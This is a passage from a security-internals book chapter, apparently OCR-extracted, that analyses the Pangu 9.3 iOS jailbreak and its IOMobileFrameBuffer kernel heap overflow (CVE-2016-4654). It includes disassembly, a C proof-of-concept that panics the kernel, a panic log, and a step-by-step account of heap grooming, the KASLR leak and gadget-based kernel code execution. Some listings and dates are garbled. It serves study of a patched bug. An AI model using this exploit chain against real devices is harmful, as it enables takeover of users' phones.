21

Pangu 9.3 (女娲石)

"Pangu 9.3" is the common name given to the iOS 9.2-9.3.3 jailbreak once again produced by the jailbreak masters of Pangu. Following the 9.1 jailbreak, the team decided to release a 64bit version only this time. Continuing their tradition of mythical Chinese names, this one is named after the five colored stones of the goddess Nüwa, with which she repaired the heavens. Because of the unicode character in the name, the filename of the IPA used was 'Nvwastone' instead.

Indeed, using an IPA instead of a full loader marks an important difference between this jailbreak and its predecessors. The user is required to code-sign and deploy the IPA on the device manually. Fortunately, this is a simple matter to achieve as Apple has started providing free application installation keys to any user with a valid Apple ID.

<u>Pangu</u>	9.3	<u>(女娲石)</u>	

Effective:	iOS 9.2-9.3.3	1
Release date:	14 th October 2015	6
Architectures:	arm64	
IPA size:	22MB	Т
Latest version:	1.1	10
Exploits:		

• IOMobileFrameBuffer Heap Overflow (CVE-2016-4654)

XCode can be avoided altogether thanks to tools such as Cydia Impactor, which provides a simple GUI: dragging and dropping the IPA brings up an Apple ID password prompt (or the perapp password, if using two factor authentication), and the rest is handled automatically. The only other minor annoyance is that the user must trust the key manually (similar to Pangu 9), and the provisioning profile expires after a week. Pangu offers an option to install a certificate on the device which expires into 2017.

Another notable difference between this and previous jailbreaks is that NüwaStone is no longer a fully untethered jailbreak, as it requires the app to be launched manually by the user following reboot. In other words, rebooting the device loses the jailbreak, which can be reinstated by running the app. This effectively defines a new class of jailbreaks, referred to as "semi-tethered".

A semi-tethered jailbreak is less convenient for most users (which unsurprisingly grouse, rather than be grateful for having any jailbreak at all!). Yet the minor annoyance of restarting the jailbreak manually relieves Pangu from the usual complex bug chain that would be required in an untether. With no need to defeat code signing, all that is required is a single kernel bug, which can be exploited from the confines of the Sandbox. Pangu finds that in an IOMobileFrameBuffer heap overflow - blowing a 0-day - and skillfully uses it to achieve a full jailbreak. We next turn to focus on this bug.

The Kernel Exploit

Apple has invested considerable time and effort in reducing the kernel attack surface via sandbox profiles that grow strict and stricter still. Inevitably, however, user mode application must be able to access the kernel through the wide array of system calls and (in Darwin's case) Mach and IOKit traps. Operations as simple as creating a UIView (GUI element in an app), for example, involve allocations of GPU memory - which can only be done in kernel mode by the respective driver.

And it is indeed the respective graphics driver - com.apple.iokit.IOMobileGraphicsFamily.kext - which contains the critical vulnerability needed by Pangu for this jailbreak. The vulnerability is kernel zone-memory ("heap") overflow, but Pangu skillfully uses and reuses this vulnerability to defeat KASLR, perform arbitrary kernel memory read, and arbitrary kernel memory write.

The Bug

The com.apple.iokit.IOMobileGraphicsFamily.kext is a closed source kext, but Pangu were able to reverse it enough to find a vulnerable operation. Listing 21-1 shows the vulnerable code:

swap submit:		
ffffff80075f7ae8	STP	X28, X27, [SP, #-96]!
ffffff80075f7c6c	MOVZ	X27, 0x0
<u></u>		
<pre>// Reaching here</pre>	, SP +	56 holds the request (from user mode)
for $(i = 0; i <$	3; i++)	
{		
ffffff80075f7c88	LDR	X8, [SP, #56] ; R8 = SP + 56 <+
••		•••
ffffff80075f7d48	LDR	X9, [SP, #56]
ffffff80075f7d4c	ADD	X11, X9, X27, LSL #2
Request->count =	IOMFB	Swap->count;
ffffff80075f7d6c	LDR	W10, [X8, #216]
ffffff80075f7d70	STR	W10, $[X11, #380]$; $*0x17c = X10$
if (Request +	216))	
ffffff80075f7d74	CBZ	X10, 0xffffff80075f7da4
{		
ffffff80075f7d78	MOVZ	W10, 0x0; $R10 = 0x0$
ffffff80075f7d7c	ADD	X11, X11, #380 ; X11 += 0x17c
ffffff80075f7d80	ADD	X12, X9, X27, LSL #6 ; i << 6
ffffff80075f7d84	ADD	X12, X12, #392 ; X12 += 0x188
ffffff80075f7d88	MOV	X13, X26 ; X13 = X26 = ARG1
for (X10	= 0; X	10 < Request->count; X10++)
{		
ffffff80075f7d8c	LDR	Q0,[X13], #16 <+
ffffff80075f7d90	STR	Q0, [X12], #16
ffffff80075f7d94	LDR	W14, $[X11, #0]$; R14 = *(R11 + 0)
ffffff80075f7d98	ADD	W10, W10, #1 ; X10++
ffffff80075f7d9c	CMP	W10, W14 ;
ffffff80075f7da0	B.CC	0xffffff80075f7d8c+
} // end	for X10	••
} // end if	(Reques	t + 216)
ffffff80075f7da4	LDR	W10, [X8, #28] ; R10 = *(R8 + 28)
••		•••
ffffff80075f8018	ADD	X27, X27, #1 ; X27++
ffffff80075f801c	CMP	X27, #2 ;
ffffff80075f8020	B.LE	0xffffff80075f7c88+
} // end for i		

Listing 21-1: The vulnerable code in IOMobileGraphicsFamily.kext (from iOS 9.3)

The code in Listing 21-1 is somewhat abbreviated (so as to focus on the vulnerable part), and therefore must be read in context: The input structure contains an ID (at offset 24), which is the ID of a previously created IOMFBSwapIORequest. This request is populated by a loop, which iterates over the swap structure to get IOSurfaces (themselves stored as uint32_t identifiers, at offsets 28/32/36), and copies them to the request (at offsets 32/36/40, respectively). Then, a particular field of the request - at offset 392 - is copied from the swap structure at offset 228. And that's where the vulnerability is.

Note the memory copy operation - from the swap structure at offset 228 to the request structure at offset 392. The condition for stopping is a comparison between W10 and W14, with W10 being the incrementing counter, and W14 being a value loaded from *X11, a count which is taken from the request at offset 380, after being filled from the swap structure at offset 216 (and 220 and then 224, per value of i). No size check is performed on this count.

Triggering the overflow from user mode is trivial, as seen is the following code, a proof of concept which will panic the kernel:

Listing 21-2: A proof of concept to panic the kernel using the vulnerability from Listing 21-1

```
/*
 * Pad the structure correctly and this will crash any iOS kernel before 9.3.4
 */
struct IOMFBSwap_str {
/* 0x18 */ uint32 t swapIORequestID;
. . .
/* 0xA0 */ uint32_t enabled;
/* 0xA4 */ uint32 t completed;
. . .
/* 0xDC */ uint32_t count;
           uint32_t pad[...]; /* 0x1A8 (< 9.3) or 0x220 (9.3+) */
};
void PoC()
{
    io connect t conn = OpenIOService("AppleCLCD");
    uint32_t count = 0xdeaddead;
    /* prepare - obtain swapIORequestID as an out parameter */
    uint64_t swapIORequestID = 0;
    uint32 t swapIDSize = 1;
    IOConnectCallScalarMethod(conn, 4, 0, 0, &swapIORequestID, &swapIDSize);
    struct IOMFBSwap_str ss = { 0 };
    /* submit - provide swapIORequestID (and note user specified count) */
    ss.swapID = swapIORequestID;
    ss.enabled = -1;
    ss.completed = 0;
    ss.count = count;
    IOConnectCallStructMethod(g_connection, 5, &ss, sizeof (ss), 0, 0);
```

Note the code opens AppleCLCD, though the vulnerable code demonstrated is in IOMobileFrameBuffer^{*}. Why is that not an issue?

If you run the code from Listing 21-2, you can expect a panic very similar to the one shown in Listing 21-3. The kernel addresses in the register values will of course vary (due to KASLR), but note in particular X14, as can be expected when correlated with the vulnerable code from Listing 21-1.

^{* -} That the bug is in IOMobileFrameBuffer's swap code explains another requirement of the Pangu 9.3.3 jailbreak - the user is requested during the jailbreak to lock the screen.

Listing 21-3: The panic generated from Listing 21-2

("bui	ld" : "iPhone OS 9	.0 (13	A344)",			
	"pan	icString" : "panic	(cpu 0	caller 0xffffff80	156fc	954): Kernel data abort	•
	x0:	$0 \\ x \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ $	x1:	$0 \times 0000000000000000000000000000000000$	x2:	0xffffff8001413920	
	x3:	$0 \\ x \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ $	x4:	$0 \times 0000000000000000000000000000000000$	x5:	0x00000000000000000	
	x6:	0xfffff8021c6387c	x7:	$0 \times 0000000000000000000000000000000000$	x8:	0xffffff800120711c	
	x9:	0xfffff8001207c00	x10:	$0 \times 0000000000000927$	x11:	0xffffff8001207d80	
	x12:	0xfffff8001210ffc	x13:	0xfffff8001210484	x14:	0x00000000deaddead	
	x15:	0x00000007f218557	x16:	0xfffff8021c0578c	x17:	0x000000000000018	
	x18:	$0 \\ x \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ $	x19:	0x0000000000002bc	x20:	0xffffff8017601000	
	x21:	0x000000000000000000000000000000000000	x22:	0xfffff800120711c	x23:	0x0000000000000001	
	x24:	0xffffff80226799e4	x25:	0x00000000000000000	x26:	0xffffff8001207204	
	x27:	$0 \times 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0$	x28:	0xffffff8000c5aa00	fp:	0xffffff8020a83690	
	lr:	0xfffff8022739124	sp:	0xffffff8020a83600	pc:	0xffffff802273918c	
	cpsr:	0x0000304	esr:	0x96000047	far:	0xffffff8001211000	

The Exploit primitive

There's a long way to go between finding a reliable, repeatable overflow, and going the full length to exploit it. Pangu have to devise a way to turn a rather limited overflow - whose length they control but data they do only partially - to enable the two required ingredients of a jailbreak, namely, defeating KASLR and then achieving arbitrary kernel code execution.

Close inspection of the IOMFBSwapIORequest object reveals the following:

- The object size of IOMFBSwapIORequest is 872
- The object (like most others) starts with a vtable pointer (that is, at offset 0)
- The requests are maintained in a doubly-linked list, with the next/previous request addresses at offsets 16/24, respectively (assuming 64-bit pointers, of course).
- The request identifier is stored at offset 328.

Pangu needs to take control of the request list, by overwriting the pointer. But this requires a bit of finesse - that is, Feng Shui. From the object size, it is known that the object will be located in the kalloc.1024 zone. Serendipitously enough, the method structure from the IOConnectCall (which is carried in a MIG request) is also in that very same zone. By allocating multiple requests (i.e. calling selector 4 multiple times) multiple requests, all in kalloc.1024, can be created. This enables Pangu to target the overflow to corrupt one IOMFBSwapIORequest and overflow onto an adjacenet one, wherein offset 16 will be overwritten, to a user-mode address. From this point, it's all downhill as Pangu can craft fake additional IOMFBSwapIOReqest structures in user mode.

Defeating KASLR

With the bug at hand, Pangu turn to the art of exploitation. The first step requires defeating KASLR, which - as we've seen with the previous jailbreaks - involves finding the kernel base mapping and the zone layout. Pangu take advantage of the IOSurface object that is associated with the swap request. As it so happens, the IORegistry contains an IOMFB Debug Info property provides information on all swap requests - including the IOSurface pointer, stored at offset 32 of the IOMFBSwapRequest. This pointer becomes accessible because the entire request now resides in a user-mode controllable buffer.

Without going too much into the structure of an IOSurface, it suffices to say that it has a src_buffer_id in four bytes at offset 12 of the object. And, like all other IO* objects, the IOSurface starts with a vtable pointer. Pangu controls the IOSurface pointer, so by setting it 12 bytes ahead, instead of getting the src_buffer_id it will leak the 4 high bytes of the vtable address. Doing so again 8 bytes ahead will leak the 4 low bytes, thereby providing the full vtable address. This leaves but a simple offset calculation, which will yield the kernel base address.

Arbitrary Code Execution

The swap_submit handler has another particular behavior which comes in handy: Before returning, it checks if the swap operation was successful. If it was not, it will release the IOMFBSwapIORequest. This will call the ::release() method, which is located at offset 0x28 into the request. The code to do just that can be seen in Listing 21-4:



if (Request)		
{		
ffffff80075ffa3c	CBZ	X0, 0xffffff80075ffa4c ;
releaseMeth = (Requ	uest->rel	lease(Request)
ffffff80075ffa40	LDR	X8, [X0, #0] $R8 = *(R0 + 0) = (*request)$
ffffff80075ffa44	LDR	X8, $[X8, #40]$ $R8 = *(R8 + 40)$
ffffff80075ffa48	BLR	X8
}		

But the IOFMBSwapIORequest is in user-mode, entirely under control. It is therefore a simple matter to achieve arbitrary kernel code execution (by pointing to a gadget in kernel mode. Kernel memory read and write can be obtained by finding the appropriate gadgets, shown in Listing 21-5:





The choice of these gadgets becomes clear when one remembers that coming into the code for releasing the request (in Listing 21-4), both X0 and X8 are under control. The top gadget is used for both cases, with the value of X2 set to either the read gadget (left) or write gadget (right). These particular gadgets enables Pangu to take over X1 as well, and thus call any function they see fit -with up to two arguments, but that proves more than enough.

The Apple Fix

Pangu's bug, released shortly before BlackHat 2016, caught Apple unprepared. They rushed to release iOS 9.3.4 solely for the purpose of fixing this bug just ahead of their iOS Security talk in that conference, and assigned it CVE-2016-4654.

iOS 9.3.4

Released August 4, 2016

IOMobileFrameBuffer

Available for: iPhone 4s and later, iPad 2 and later, iPod touch (5th generation) and later

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed through improved memory handling.

CVE-2016-4654: Team Pangu

As with the other fixes we've seen, this one was just as trivial: A single validation check, added to ensure that the size is no more than 4 bytes at most.

This is a free preview from Jonathan Levin's "*OS Internals::Volume III - Security & Insecurity". You can <u>get the book on Amazon</u>, or directly from <u>the book's</u> <u>website</u>. For comments and feedback, you are more than welcome to <u>use the book's forum</u>